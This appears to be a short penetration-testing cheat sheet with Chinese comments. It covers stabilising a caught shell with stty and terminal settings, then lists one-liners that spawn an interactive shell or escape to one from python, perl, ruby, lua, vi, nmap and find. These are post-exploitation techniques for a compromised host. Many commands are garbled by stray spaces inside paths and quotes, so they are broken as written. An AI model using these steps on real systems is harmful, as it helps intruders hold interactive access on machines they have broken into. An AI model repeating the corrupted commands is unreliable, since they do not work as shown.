### stty row
//使界面颜色恢复，更好辨别文件等
```
ctrl +Z
stty raw -echo ; fg + 2 enter
```
```text
stty rows 33 //可忽略
stty columns 114 //可忽略
export TERM=xterm-256color
export LS_OPTIONS='--color=auto'
eval "`dircolors`"
alias ls='ls $LS_OPTIONS'
export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '
```
### tty-shell
```
python -c 'import pty; pty.spawn ("/ bin / sh") '
echo os.system ('/ bin / bash')
/ bin / sh -i
perl -e 'exec "/ bin / sh";'
perl: exec "/ bin / sh";
ruby: exec "/ bin / sh"
lua: os.execute ('/ bin / sh')
exec "/ bin / sh" (From IRB)
:! bash (Since vi)
: set shell = / bin / bash: shell (From vi)
! sh (From nmap)
find / etc / passwd -exec / bin / bash;
/usr/bin/script -qc /bin/bash /dev/null
```